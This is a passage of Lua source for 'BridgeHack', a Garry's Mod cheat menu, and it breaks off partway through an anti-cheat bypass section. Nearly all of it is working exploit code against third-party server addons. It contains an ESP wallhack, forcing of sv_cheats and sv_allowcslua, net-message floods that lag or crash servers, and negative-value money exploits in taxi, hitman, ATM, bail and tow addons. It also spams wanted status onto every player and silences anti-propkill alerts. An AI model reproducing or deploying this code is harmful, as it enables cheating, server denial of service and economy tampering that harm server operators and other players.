1683 status("Changed Name to " .. v:Nick() .. " - " .. v:SteamID())
1684
1685 end
1686
1687 local ligger_type = math.random(1,2)
1688
1689 local ligger_type1 = math.random(1,2)
1690
1691 end end end) end)
1692
1693
1694
1695concommand.Add("bh_namesteal_off",function()
1696
1697 timer.Destroy("startNAMECHANGEsteal",0.12,0,function()
1698
1699 end) end)
1700
1701
1702
1703concommand.Add("bh_removelookingat",function()
1704
1705 chatP("Removing prop looking at...")
1706
1707 net.Start( "MDE_RemoveStuff_C2S" )
1708
1709 net.WriteTable( {DATA="",TARGET=sweg} )
1710
1711 net.SendToServer()
1712
1713
1714
1715end)
1716
1717
1718
1719concommand.Add("__bh_lagdarkrpdashit",function()
1720
1721 chatP("Starting the lag...")
1722
1723 timer.Create("lag"..BridgeHack.RandomVar, 1, 0, function()
1724
1725 for i=1,10000 do
1726
1727 net.Start("DarkRP_spawnPocket")
1728
1729 net.SendToServer()
1730
1731 end
1732
1733 status("PROGRESS[10000/10000]")
1734
1735
1736
1737 end) end)
1738
1739
1740
1741concommand.Add( "__bh_stopplag",function( )
1742
1743 chatP("Stopping the lag...")
1744
1745 timer.Destroy("lag"..BridgeHack.RandomVar)
1746
1747end)
1748
1749
1750
1751if dspam == true then
1752
1753 chatP("Spam split / make shipment ON")
1754
1755 timer.Create("spamdashit"..BridgeHack.RandomVar,0.1,function()
1756
1757 for k,v in pairs(ents.GetAll()) do
1758
1759 if v.Entity:GetString() == "spawned_shipment" then
1760
1761 status("Splitting shipment")
1762
1763 RunConsoleCommand("darkrp","splitshipment",v.Entity:EntIndex())
1764
1765 elseif v.Entity:GetClassName() == "spawned_weapon" then
1766
1767 status("Making shipment")
1768
1769 RunConsoleCommand("darkrp","makeshipment",v.Entity:EntIndex())
1770
1771 end end end) end
1772
1773
1774
1775if dspam == false then
1776
1777 chatP("Spam split / make shipment OFF")
1778
1779 timer.Simple(1,function()
1780
1781 timer.Destroy("spamdashit"..BridgeHack.RandomVar,function()
1782
1783 end) end) end
1784
1785
1786
1787concommand.Add("bh_kun_ziptie_untie",function()
1788
1789 chatP("Untieing...")
1790
1791 for i=0,30 do
1792
1793 net.Start("Kun_ZiptieStruggle")
1794
1795 net.SendToServer()
1796
1797 end
1798
1799end)
1800
1801
1802
1803concommand.Add("___darkrpshipments", function()
1804
1805 if dspam != true then
1806
1807 dspam = true
1808
1809 elseif dspam == true then
1810
1811 dspam = false
1812
1813 end end)
1814
1815
1816
1817local function BridgeHackCHECK(v)
1818
1819 if v:Alive() == true && v:Health() ~= 0 && v:Health() >= 0 && v ~= LocalPlayer() && LocalPlayer():Alive() then
1820
1821 return true
1822
1823 else
1824
1825 return false
1826
1827 end end
1828
1829
1830
1831hook.Add("HUDPaint", "JESP", function()
1832
1833 for k,v in pairs(player.GetAll()) do
1834
1835 if GetConVarNumber("bh_esp") > 0 then
1836
1837 if(v ~= LocalPlayer() and BridgeHackCHECK(v)) then
1838
1839 if GetConVarNumber("bh_renderdistance_enable") > 0 then
1840
1841 if LocalPlayer():GetPos():Distance(v:GetPos()) < GetConVarNumber("bh_esp_rdistance") then
1842
1843 local PlayerESP = (v:EyePos()):ToScreen()
1844
1845 local infocolor = Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b"))
1846
1847 local infocolor = Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b"))
1848
1849
1850
1851 draw.DrawText(v:Name(), "BudgetLabel", PlayerESP.x, PlayerESP.y -46, team.GetColor(v:Team()), TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1852
1853
1854
1855 if GetConVarNumber("bh_esp_rank") > 0 then
1856
1857 draw.DrawText(v:GetUserGroup(), "BudgetLabel", PlayerESP.x, PlayerESP.y -23, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1858
1859 end
1860
1861
1862
1863 if GetConVarNumber("bh_esp_hp") > 0 then
1864
1865 local infocolor = Color(255,0,255)
1866
1867 draw.DrawText(v:Health() .. " HP", "BudgetLabel", PlayerESP.x, PlayerESP.y -34, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1868
1869 end
1870
1871
1872
1873 local col = team.GetColor(v:Team()) -- looped into esp (square box)
1874
1875 local min, max = v:WorldSpaceAABB()
1876
1877
1878
1879 min, max = min:ToScreen(), max:ToScreen()
1880
1881
1882
1883 local h = (min.y / 2) - (max.y / 2)
1884
1885 surface.SetDrawColor(col.g, col.b, col.r)
1886
1887
1888
1889 if GetConVarNumber("bh_esp_box") > 0 then
1890
1891 surface.DrawOutlinedRect(max.x +h/10, max.y + (min.y / 75), h, h)
1892
1893 surface.DrawOutlinedRect(max.x +h/10-.5, max.y + (min.y / 75)-.5, h+1, h+1)
1894
1895 surface.DrawOutlinedRect(max.x +h/10-1, max.y + (min.y / 75)-1, h+2, h+2)
1896
1897 end end
1898
1899 else
1900
1901
1902
1903 local PlayerESP = (v:EyePos()):ToScreen()
1904
1905 local infocolor = Color(0,255,0)
1906
1907 local infocolor = Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b"))
1908
1909 draw.DrawText(v:Name(), "BudgetLabel", PlayerESP.x, PlayerESP.y -46, team.GetColor(v:Team()), TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1910
1911
1912
1913 if GetConVarNumber("bh_esp_rank") > 0 then
1914
1915 draw.DrawText(v:GetUserGroup(), "BudgetLabel", PlayerESP.x, PlayerESP.y -23, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1916
1917 end
1918
1919
1920
1921 if GetConVarNumber("bh_esp_hp") > 0 then
1922
1923 local infocolor = Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b"))
1924
1925 draw.DrawText(v:Health() .. " HP", "BudgetLabel", PlayerESP.x, PlayerESP.y -34, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1926
1927 end
1928
1929
1930
1931 local col = team.GetColor(v:Team()) -- looped into esp (square box)
1932
1933
1934
1935 local min, max = v:WorldSpaceAABB()
1936
1937 min, max = min:ToScreen(), max:ToScreen()
1938
1939 local h = (min.y / 2) - (max.y / 2)
1940
1941
1942
1943 surface.SetDrawColor(col.g, col.b, col.r)
1944
1945
1946
1947 if GetConVarNumber("bh_esp_box") > 0 then
1948
1949 surface.DrawOutlinedRect(max.x +h/10, max.y + (min.y / 75), h, h)
1950
1951 surface.DrawOutlinedRect(max.x +h/10-.5, max.y + (min.y / 75)-.5, h+1, h+1)
1952
1953 surface.DrawOutlinedRect(max.x +h/10-1, max.y + (min.y / 75)-1, h+2, h+2)
1954
1955 end end end end end end)
1956
1957
1958
1959function blur_on()
1960
1961 DrawMaterialOverlay( "Models/effects/comball_tape", 0.5 )
1962
1963end
1964
1965
1966
1967function blur_off()
1968
1969 DrawMaterialOverlay( "", 0.1 )
1970
1971end
1972
1973
1974
1975concommand.Add("+bh_menu", function( ply )
1976
1977 status("Menu Opened.")
1978
1979 if GetConVarNumber("bh_menu_effects") == 1 then
1980
1981 hook.Add( "RenderScreenspaceEffects", "BlurBG", blur_on )
1982
1983 end
1984
1985--[[
1986
1987 mainmenu
1988
1989
1990
1991
1992
1993 THE MAIN
1994
1995
1996
1997
1998
1999 MENU
2000
2001
2002
2003
2004
2005
2006
2007 STARTS
2008
2009
2010
2011
2012
2013
2014
2015 HERE
2016
2017
2018
2019 |
2020
2021 V
2022
2023]]--
2024
2025local menu = DermaMenu()
2026
2027menu:Center()
2028
2029menu:AddOption( "BridgeHack "..dlversion, function()
2030
2031 AboutMenu()
2032
2033end ):SetImage( "icon16/shield.png" )
2034
2035menu:AddSpacer()
2036
2037function menu:Paint( w, h )
2038
2039 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(255,255,255,150), true, true, true, true )
2040
2041 draw.RoundedBoxEx( 4, 0, 0, w, 22, Color(255,137,0,200), true, true, false, false )
2042
2043 surface.SetDrawColor( 0,0,0 )
2044
2045 surface.DrawOutlinedRect( 0, 0, w, h)
2046
2047end
2048
2049local ForcingMenu, optMenu = menu:AddSubMenu("Client-side Forcing")
2050
2051
2052
2053ForcingMenu:AddOption( "Force sv_allowcslua 1", function()
2054
2055 ply:ConCommand("incrementvar sv_allowcslua 0 1 1")
2056
2057 status("Forced SV_ALLOWCSLUA TO 1")
2058
2059end):SetImage( "icon16/link_error.png" )
2060
2061
2062
2063ForcingMenu:AddOption( "Force sv_cheats 1", function()
2064
2065 ply:ConCommand("incrementvar sv_cheats 0 1 1")
2066
2067 status("Forced SV_CHEATS TO 1")
2068
2069end):SetImage( "icon16/link_error.png" )
2070
2071
2072
2073local ESP = menu:AddSubMenu("ESP")
2074
2075
2076
2077ESP:AddOption( "[ON] ESP", ESP_on):SetImage( "icon16/group_add.png" )
2078
2079ESP:AddOption( "[OFF] ESP", ESP_off):SetImage( "icon16/group_delete.png" )
2080
2081
2082
2083local Speed = menu:AddSubMenu("Speed")
2084
2085Speed:AddOption( "[ON] SpeedHack", speedhack_on):SetImage( "icon16/lightning_go.png" )
2086
2087Speed:AddOption( "[OFF] SpeedHack", speedhack_off):SetImage( "icon16/lightning_delete.png" )
2088
2089
2090
2091
2092
2093local NameStealSub = menu:AddSubMenu( "Name Stealing/Changing" )
2094
2095NameStealSub:AddOption( "[ON] Name Steal", function()
2096
2097 ply:ConCommand("bh_namesteal_on")
2098
2099end ):SetImage( "icon16/book_addresses.png" )
2100
2101
2102
2103NameStealSub:AddOption( "[OFF] Name Steal", function()
2104
2105 status("Stopped Script: Random Name Change [name steal]")
2106
2107 ply:ConCommand("bh_namesteal_off")end ):SetImage( "icon16/book.png" )
2108
2109
2110
2111local MoneyExploits = menu:AddSubMenu( "DarkRP Money Explots" )
2112
2113
2114
2115 MoneyExploits:AddOption("[$$] Drug Sell",function()
2116
2117 for i=1,1000 do
2118
2119 net.Start("Kun_SellDrug")
2120
2121 net.WriteString("Meth")
2122
2123 net.SendToServer()
2124
2125 end end):SetImage( "icon16/coins_add.png" )
2126
2127
2128
2129 MoneyExploits:AddOption( "[$$] Taxi Driver Money",function()
2130
2131 chatp("Giving money")
2132
2133 net.Start("Taxi_Add")
2134
2135 net.WriteString("MLG")
2136
2137 net.WriteTable({-1333.647461, -1473.931763, -139.968750})
2138
2139 net.WriteFloat(-99999999)
2140
2141 net.WriteString(Desc)
2142
2143 net.SendToServer()
2144
2145 end):SetImage( "icon16/coins_add.png" )
2146
2147
2148
2149 MoneyExploits:AddOption( "[$$] SS Shelf NET",function()
2150
2151 chatP("Attempting to give money..")
2152
2153 for k,v in pairs(ents.GetAll()) do
2154
2155 swag = v
2156
2157 end
2158
2159 net.Start( 'NET_SS_DoBuyTakeoff' )
2160
2161 net.WriteEntity(LocalPlayer())
2162
2163 net.WriteEntity(swag)
2164
2165 net.WriteTable({'spawned_weapon'})
2166
2167 net.WriteInt(-1000000000000000000000000000000000000000000000000000000000000000000, 16)
2168
2169 net.SendToServer()
2170
2171 end):SetImage( "icon16/coins_add.png" )
2172
2173
2174
2175 MoneyExploits:AddOption( "[$$] HITMAN MONEY",function()
2176
2177 chatP("Attempting to give money..")
2178
2179 net.Start( "DaHit" )
2180
2181 net.WriteFloat( -1000000000000000000000 )
2182
2183 --net.WriteFloat( tm )
2184
2185 net.WriteEntity( LocalPlayer() )
2186
2187 net.WriteEntity( LocalPlayer() )
2188
2189 net.WriteEntity( LocalPlayer() )
2190
2191 net.SendToServer()
2192
2193 end):SetImage( "icon16/coins_add.png" )
2194
2195
2196
2197 MoneyExploits:AddOption( "[$$] HHH MONEY",function()
2198
2199 local ply = LocalPlayer()
2200
2201 for k,v in pairs(player.GetAll()) do
2202
2203 dahater = v
2204
2205 end
2206
2207
2208
2209 local hitRequest = {}
2210
2211 hitRequest.hitman = ply
2212
2213 hitRequest.requester = ply
2214
2215 hitRequest.target = dahater
2216
2217 hitRequest.reward = 100000000
2218
2219
2220
2221 net.Start( 'hhh_request' )
2222
2223 net.WriteTable( hitRequest )
2224
2225 net.SendToServer()
2226
2227
2228
2229 end):SetImage( "icon16/coins_add.png" )
2230
2231
2232
2233 MoneyExploits:AddOption("[$$] BOONPC",function()
2234
2235 net.Start('BuyCar')
2236
2237 net.WriteFloat(-1000000000000)
2238
2239 net.WriteEntity(LocalPlayer())
2240
2241 net.WriteString("BridgeHack")
2242
2243 net.WriteString("BridgeHack")
2244
2245 net.WriteString("BridgeHack")
2246
2247 net.SendToServer()
2248
2249 end):SetImage( "icon16/coins_add.png" )
2250
2251
2252
2253 MoneyExploits:AddOption("[$$] Hitman X Menu",function()
2254
2255 local frame = vgui.Create( "DFrame" )
2256
2257 frame:Center()
2258
2259 frame:SetSize( 200,150 )
2260
2261 frame:SetTitle( "" )
2262
2263 frame:MakePopup()
2264
2265 frame:ShowCloseButton( false )
2266
2267 function frame:Paint( w, h )
2268
2269 draw.RoundedBox( 4, 0, 0, w, h, Color( 255, 255, 255, 150) )
2270
2271 draw.RoundedBoxEx( 4, 0, 0, w, 20, Color( 240, 85, 0, 220), true, true, false, false )
2272
2273 draw.SimpleText( "BridgeHack Hitman X Menu", "Default", 6, 2, Color( 255,255,255 ), 0, 0 )
2274
2275 end
2276
2277
2278
2279 local playerMenu = vgui.Create( "DComboBox", frame )
2280
2281 playerMenu:SetPos( 10,40 )
2282
2283 playerMenu:SetSize( 120,20 )
2284
2285 playerMenu:SetText( "Select a Player")
2286
2287 for k, v in pairs( player.GetAll() ) do
2288
2289 playerMenu:AddChoice( tostring( v:Name() ) )
2290
2291 playerMenu:SetTextColor(color_black)
2292
2293 end
2294
2295
2296
2297 local Button = vgui.Create("DButton", frame)
2298
2299 Button:SetPos( 180, 2 )
2300
2301 Button:SetSize( 20, 20 )
2302
2303 Button:SetText( "" )
2304
2305 function Button:Paint( w, h )
2306
2307 draw.SimpleText( "X", "Default", 6, 2, Color( 255,255,255 ), 0, 0 )
2308
2309 end
2310
2311 Button.DoClick = function()
2312
2313 frame:Close()
2314
2315 end
2316
2317
2318
2319 local SpamHit = vgui.Create("DButton", frame )
2320
2321 SpamHit:SetPos( 20,70 )
2322
2323 SpamHit:SetSize( 150,20 )
2324
2325 SpamHit:SetText( "Get Money" )
2326
2327 SpamHit:SetTextColor( Color(0,0,0) )
2328
2329 SpamHit.DoClick = function()
2330
2331 local v = playerMenu:GetText()
2332
2333 net.Start( "SendMoney" )
2334
2335 net.WriteEntity( v )
2336
2337 net.WriteEntity( v )
2338
2339 net.WriteEntity( v )
2340
2341 net.WriteString( "-100000000000000000000000000000000000000000" )
2342
2343 net.SendToServer()
2344
2345 end
2346
2347
2348
2349 local CrashButton = vgui.Create("DButton", frame )
2350
2351 CrashButton:SetPos( 20,90 )
2352
2353 CrashButton:SetSize( 150,20 )
2354
2355 CrashButton:SetText( "Crash Server" )
2356
2357 CrashButton:SetTextColor( Color(0,0,0) )
2358
2359 CrashButton.DoClick = function()
2360
2361 for i=0, 10 do
2362
2363 ply:ConCommand("bh_hitmanxcrash")
2364
2365 end
2366
2367 end
2368
2369
2370
2371 local InfaButton = vgui.Create("DButton", frame )
2372
2373 InfaButton:SetPos( 20,110 )
2374
2375 InfaButton:SetSize( 150,20 )
2376
2377 InfaButton:SetText( "Infinite Money For Everyone" )
2378
2379 InfaButton:SetTextColor( Color(0,0,0) )
2380
2381 InfaButton.DoClick = function()
2382
2383 ply:ConCommand("bh_hitmanxinfa")
2384
2385 end
2386
2387 end):SetImage( "icon16/application_form.png" )
2388
2389
2390
2391 MoneyExploits:AddOption( "[$$] HITMENU",function()
2392
2393 local HitPanel = vgui.Create( "DFrame" )
2394
2395 HitPanel:SetPos( ScrW()/5, ScrH()/10 )
2396
2397 HitPanel:SetSize( 300, 200 )
2398
2399 HitPanel:SetTitle( " " )
2400
2401 HitPanel:SetVisible( true )
2402
2403 HitPanel:SetDraggable( true )
2404
2405 HitPanel:ShowCloseButton( false )
2406
2407 HitPanel:MakePopup()
2408
2409 function HitPanel:Paint( w, h )
2410
2411 draw.RoundedBox( 4, 0, 0, w, h, Color( 0, 0, 255,160) )
2412
2413 draw.RoundedBoxEx( 4, 0, 0, w, 25, Color( 240, 85, 0, 220), true, true, false, false )
2414
2415 draw.SimpleText( "BridgeHack HitHack Menu", "PopupFont", 6, 2, Color( 255,255,255 ), 0, 0 )
2416
2417 end
2418
2419
2420
2421 local Button = vgui.Create("DButton", HitPanel)
2422
2423 Button:SetPos( 250, 0 )
2424
2425 Button:SetSize( 50, 25 )
2426
2427 Button:SetText( "" )
2428
2429 function Button:Paint( w, h )
2430
2431 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
2432
2433 draw.SimpleText( "Close", "HeaderFont", 6, 2, Color( 255,255,255 ), 0, 0 )
2434
2435 end
2436
2437 Button.DoClick = function()
2438
2439 HitPanel:Close()
2440
2441 end
2442
2443
2444
2445 local HitButton = vgui.Create("DButton", HitPanel)
2446
2447 HitButton:SetPos( 140, 100 )
2448
2449 HitButton:SetSize( 100, 20 )
2450
2451 HitButton:SetText( "Get Money" )
2452
2453 HitButton:SetTextColor( Color(255,255,255) )
2454
2455 function HitButton:Paint( w, h )
2456
2457 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
2458
2459 end
2460
2461 HitButton.DoClick = function()
2462
2463 ply:ConCommand("bh_hithack")
2464
2465 end
2466
2467
2468
2469 local HitSlider = vgui.Create( "DNumSlider", HitPanel )
2470
2471 HitSlider:SetPos( 20, 50 )
2472
2473 HitSlider:SetSize( 300, 40 )
2474
2475 HitSlider:SetText( "Money Ammount" )
2476
2477 HitSlider:SetMin( 0 )
2478
2479 HitSlider:SetMax( 1000000000 )
2480
2481 HitSlider:SetDecimals( 0 )
2482
2483 HitSlider:SetConVar( "bh_hitmenuammount" )
2484
2485
2486
2487 end):SetImage( "icon16/coins_add.png" )
2488
2489
2490
2491 MoneyExploits:AddOption( "[$$] 3D Car Dealer",function()
2492
2493 ply:ConCommand("bh_3dcardealer_spamstore")
2494
2495 end):SetImage( "icon16/coins_add.png" )
2496
2497
2498
2499 MoneyExploits:AddOption( "[$$] VCMOD Sell-car",function()
2500
2501 chatP("Attempting to give money..")
2502
2503 for i=0,30 do
2504
2505 for i=1,10 do
2506
2507 net.Start( "AttemptSellCar" )
2508
2509 net.WriteInt( i, 8 )
2510
2511 net.SendToServer()
2512
2513 end
2514
2515 end
2516
2517 end):SetImage( "icon16/coins_add.png" )
2518
2519
2520
2521 MoneyExploits:AddOption( "[$$] BAILNPC",function()
2522
2523 chatP("Attempting to give money..")
2524
2525 net.Start( "BailOut" )
2526
2527 net.WriteEntity( ply )
2528
2529 net.WriteEntity( ply )
2530
2531 net.WriteFloat( -10000000000000)
2532
2533 net.SendToServer()
2534
2535 end):SetImage( "icon16/coins_add.png" )
2536
2537
2538
2539 MoneyExploits:AddOption("[$$] REALISTIC ATM",function()
2540
2541 local DermaPanel = vgui.Create( "DFrame" )
2542
2543 DermaPanel:SetPos( 100, 100 )
2544
2545 DermaPanel:SetSize( 300, 200 )
2546
2547 DermaPanel:SetTitle( " " )
2548
2549 DermaPanel:SetVisible( true )
2550
2551 DermaPanel:SetDraggable( true )
2552
2553 DermaPanel:ShowCloseButton( true )
2554
2555 function DermaPanel:Paint( w, h )
2556
2557 draw.RoundedBox( 4, 0, 0, w, h, Color( 0, 0, 0,160) )
2558
2559 draw.RoundedBoxEx( 4, 0, 0, w, 25, Color( 240, 85, 0, 220), true, true, false, false )
2560
2561 draw.SimpleText( "BridgeHack Realistic ATM Hack Menu", "PopupFont", 6, 2, Color( 255,255,255 ), 0, 0 )
2562
2563 end
2564
2565 DermaPanel:MakePopup()
2566
2567
2568
2569 local TextEntry = vgui.Create( "DTextEntry", DermaPanel )
2570
2571 TextEntry:SetPos( 75, 30 )
2572
2573 TextEntry:SetSize( 150, 25 )
2574
2575 TextEntry:SetText( "Account num(Including the -!)" )
2576
2577
2578
2579 local BBDButton = vgui.Create( "DButton",DermaPanel )
2580
2581 BBDButton:SetPos( 10, 120 )
2582
2583 BBDButton:SetText( "Give Money" )
2584
2585 BBDButton:SetTextColor( Color(255,255,255) )
2586
2587 BBDButton:SetSize( 280, 75 )
2588
2589 function BBDButton:Paint( w, h )
2590
2591 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,255,150) )
2592
2593 end
2594
2595 BBDButton.DoClick = function()
2596
2597 local accnumber = TextEntry:GetValue()
2598
2599 local moneytogive = GetConVarNumber("bh_ratm_money2give")
2600
2601 chatP("Attempting to give "..moneytogive.."$ on Account Number: "..accnumber)
2602
2603 net.Start("ATM_DepositMoney_C2S")
2604
2605 net.WriteTable({Memo =BridgeHack.RandomVar,Num=accnumber,Amount=-moneytogive})
2606
2607 net.SendToServer()
2608
2609 end
2610
2611
2612
2613 local RenderDistance = vgui.Create( "DNumSlider", DermaPanel )
2614
2615 RenderDistance:SetPos( 10, 50)
2616
2617 RenderDistance:SetSize( 275, 25 )
2618
2619 RenderDistance:SetText( "Money to give" )
2620
2621 RenderDistance:SetMin( 0 )
2622
2623 RenderDistance:SetMax( 500000 )
2624
2625 RenderDistance:SetDecimals( 0 )
2626
2627 RenderDistance:SetConVar( "bh_ratm_money2give" )
2628
2629 end):SetImage("icon16/coins_add.png")
2630
2631
2632
2633 MoneyExploits:AddOption( "[$$] TOW TRUCK DRIVER",function()
2634
2635 chatP("Giving money..")
2636
2637 for k,v in pairs(ents.GetAll()) do
2638
2639 status("Attempting to make fine")
2640
2641 net.Start("TOW_SubmitWarning")
2642
2643 net.WriteString(LocalPlayer():SteamID())
2644
2645 net.WriteDouble(-100000000000)
2646
2647 net.WriteEntity(v)
2648
2649 net.SendToServer()
2650
2651
2652
2653 net.Start("TOW_PayTheFine")
2654
2655 net.WriteEntity(v)
2656
2657 net.SendToServer()
2658
2659 end
2660
2661 end):SetImage( "icon16/coins_add.png" )
2662
2663
2664
2665local DARKRPBASEDSUB = menu:AddSubMenu( "DarkRP Minging/Scripts" )
2666
2667
2668
2669 DARKRPBASEDSUB:AddOption("[ON] Dlog Lag",function()
2670
2671 ply:ConCommand("bh_dlogs_lag")
2672
2673 end):SetImage( "icon16/table_error.png" )
2674
2675
2676
2677 DARKRPBASEDSUB:AddOption("[OFF] Dlog Lag",function()
2678
2679 ply:ConCommand("bh_dlogs_lag_off")
2680
2681 end):SetImage( "icon16/table_add.png" )
2682
2683
2684
2685 DARKRPBASEDSUB:AddOption("HitMenu Spam",function()
2686
2687 local ply = LocalPlayer()
2688
2689
2690
2691 local frame = vgui.Create( "DFrame" )
2692
2693 frame:Center()
2694
2695 frame:SetSize( 200,150 )
2696
2697 frame:SetTitle( "" )
2698
2699 frame:MakePopup()
2700
2701 frame:ShowCloseButton( false )
2702
2703 function frame:Paint( w, h )
2704
2705 draw.RoundedBox( 4, 0, 0, w, h, Color( 255, 255, 255, 150) )
2706
2707 draw.RoundedBoxEx( 4, 0, 0, w, 20, Color( 240, 85, 0, 220), true, true, false, false )
2708
2709 draw.SimpleText( "BridgeHack Hitspam", "Default", 6, 2, Color( 255,255,255 ), 0, 0 )
2710
2711 end
2712
2713
2714
2715 local playerMenu = vgui.Create( "DComboBox", frame )
2716
2717 playerMenu:SetPos( 10,40 )
2718
2719 playerMenu:SetSize( 120,20 )
2720
2721 playerMenu:SetText( "Select a Player")
2722
2723 for k, v in pairs( player.GetAll() ) do
2724
2725 playerMenu:AddChoice( tostring( v:Name() ) )
2726
2727 end
2728
2729
2730
2731 local SpamHit = vgui.Create("DButton", frame )
2732
2733 SpamHit:SetPos( 50,70 )
2734
2735 SpamHit:SetSize( 100,20 )
2736
2737 SpamHit:SetText( "Place Dem Hits" )
2738
2739 SpamHit:SetTextColor( Color(0,0,0) )
2740
2741 SpamHit.DoClick = function()
2742
2743 local v = playerMenu:GetText()
2744
2745 for i=0, 4 do
2746
2747 ply:ConCommand('addhit "'..v..'" 500')
2748
2749 end
2750
2751 end
2752
2753
2754
2755 local CrashButton = vgui.Create("DButton", frame )
2756
2757 CrashButton:SetPos( 50,110 )
2758
2759 CrashButton:SetSize( 100,20 )
2760
2761 CrashButton:SetText( "Crash Server" )
2762
2763 CrashButton:SetTextColor( Color(0,0,0) )
2764
2765 CrashButton.DoClick = function()
2766
2767 chatP("Hitmanmenu got rekt!")
2768
2769 consoleP("Hitmanmenu got rekt")
2770
2771 for i=0, 10 do
2772
2773 ply:ConCommand("bh_hitmancrash")
2774
2775 end
2776
2777 end
2778
2779
2780
2781 local Button = vgui.Create("DButton", frame)
2782
2783 Button:SetPos( 170, 0 )
2784
2785 Button:SetSize( 30, 20 )
2786
2787 Button:SetText( "Close" )
2788
2789 Button:SetTextColor( Color( 255, 255, 255) )
2790
2791 function Button:Paint( w, h )
2792
2793 draw.RoundedBox( 4, 0, 0, w, h, Color(0,0,0,200) )
2794
2795 end
2796
2797 Button.DoClick = function()
2798
2799 frame:Close()
2800
2801 end
2802
2803
2804
2805 local label = vgui.Create( "DLabel", frame )
2806
2807 label:SetPos( 10,20 )
2808
2809 label:SetSize( 120,20 )
2810
2811 label:SetTextColor( Color(0,0,0) )
2812
2813 label:SetText( "Select Player:" )
2814
2815 end):SetImage("icon16/accept.png")
2816
2817
2818
2819 DARKRPBASEDSUB:AddOption("TP Spawn",function()
2820
2821 ply:ConCommand("bh_tp_spawn")
2822
2823 end):SetImage( "icon16/cake.png" )
2824
2825
2826
2827 DARKRPBASEDSUB:AddOption("[ON] Advert Spam",function()
2828
2829 ply:ConCommand("bh_advert 1")
2830
2831 end):SetImage( "icon16/bell_add.png" )
2832
2833
2834
2835 DARKRPBASEDSUB:AddOption("[OFF] Advert Spam",function()
2836
2837 ply:ConCommand("bh_advert 0")
2838
2839 end):SetImage( "icon16/bell_delete.png" )
2840
2841
2842
2843 DARKRPBASEDSUB:AddOption("Remove looking at prop",function()
2844
2845 timer.Simple(0.1,function()
2846
2847 chatP("(This can be binded to: bh_removelookingat)")
2848
2849 ply:ConCommand("bh_removelookingat")
2850
2851 end)
2852
2853 end):SetImage("icon16/map_delete.png")
2854
2855
2856
2857 DARKRPBASEDSUB:AddOption( "[X] KUN ZIPTIES UNTIE SELF ",function()
2858
2859 ply:ConCommand("bh_kun_ziptie_untie")
2860
2861 end):SetImage( "icon16/cut.png" )
2862
2863
2864
2865 DARKRPBASEDSUB:AddOption( "Open Armory", function()
2866
2867 chatP("Opening armory..")
2868
2869 ARMORY_WeaponMenu()
2870
2871 end):SetImage( "icon16/bomb.png" )
2872
2873
2874
2875 DARKRPBASEDSUB:AddOption( "[ON/OFF] Spam Split Shipment / Make Shipemnt", function()
2876
2877 ply:ConCommand("___darkrpshipments")
2878
2879 end):SetImage( "icon16/cut_red.png" )
2880
2881
2882
2883 DARKRPBASEDSUB:AddOption( "[ON] Make everyone wanted (Cop only)", function()
2884
2885 timer.Create("lollol3294385", 0.2, 0, function( )
2886
2887 for k,v in pairs(player.GetAll()) do
2888
2889 local ligger_type = math.random(1,13)
2890
2891 local ligger_type1 = math.random(1,13)
2892
2893 status("Attempting Want on: " .. v:Nick() .. " - " .. v:SteamID())
2894
2895 if ligger_type1 == ligger_type then
2896
2897 if last_ply == v:Nick() then
2898
2899 local ligger_type = math.random(1,13)
2900
2901 local ligger_type1 = math.random(1,13)
2902
2903 else
2904
2905 ply:ConCommand("darkrp wanted " .. v:Nick() .. " " .. math.random(1,999))
2906
2907 end
2908
2909
2910
2911 local last_ply = v:Nick()
2912
2913 local ligger_type = math.random(1,13)
2914
2915 local ligger_type1 = math.random(1,13)
2916
2917 status("Force Wanting: " .. v:Nick())
2918
2919 end
2920
2921 end
2922
2923 end)
2924
2925 end):SetImage( "icon16/cross.png" )
2926
2927
2928
2929 DARKRPBASEDSUB:AddOption( "[OFF] Make everyone wanted (Cop only)", function()
2930
2931 timer.Destroy("lollol3294385")
2932
2933 status("Stopped Want All Police")
2934
2935 end):SetImage( "icon16/tick.png" )
2936
2937
2938
2939 DARKRPBASEDSUB:AddOption( "[ON] DARKRP LAG", function()
2940
2941 ply:ConCommand("__bh_lagdarkrpdashit")
2942
2943 end):SetImage( "icon16/accept.png" )
2944
2945
2946
2947 DARKRPBASEDSUB:AddOption( "[OFF] DARKRP LAG", function()
2948
2949 ply:ConCommand("__bh_stopplag")
2950
2951 end):SetImage( "icon16/cancel.png" )
2952
2953
2954
2955 local SpoofingMenu = menu:AddSubMenu("Spoofing Scripts")
2956
2957 SpoofingMenu:AddOption( "Spoof Player colours and physgun colours", function()
2958
2959 ply:ConCommand("cl_weaponcolor 0." .. math.random(1,255) .. " 0." .. math.random(1,255) .. " 0." .. math.random(1,255))
2960
2961 ply:ConCommand("cl_playercolor 0." .. math.random(1,255) .. " 0." .. math.random(1,255) .. " 0." .. math.random(1,255))
2962
2963 status("Spoofed Physgun And Player Color.")
2964
2965 end):SetImage( "icon16/color_wheel.png" )
2966
2967
2968
2969 local exploitshacks = menu:AddSubMenu("Exploits")
2970
2971
2972
2973 exploitshacks:AddOption( "Bypass APAnti (Anti propkill)",function()
2974
2975 chatP("Bypassing Apanti..")
2976
2977 net.Receive("sMsgStandard", function()
2978
2979 print("#Bypassed by HaxRUs")
2980
2981 end)
2982
2983
2984
2985 net.Receive("sNotifyHit", function()
2986
2987
2988
2989 end)
2990
2991
2992
2993 net.Receive("sMsgAdmins", function()
2994
2995
2996
2997 end)
2998
2999
3000
3001 net.Receive("sAlertNotice", function()
3002
3003
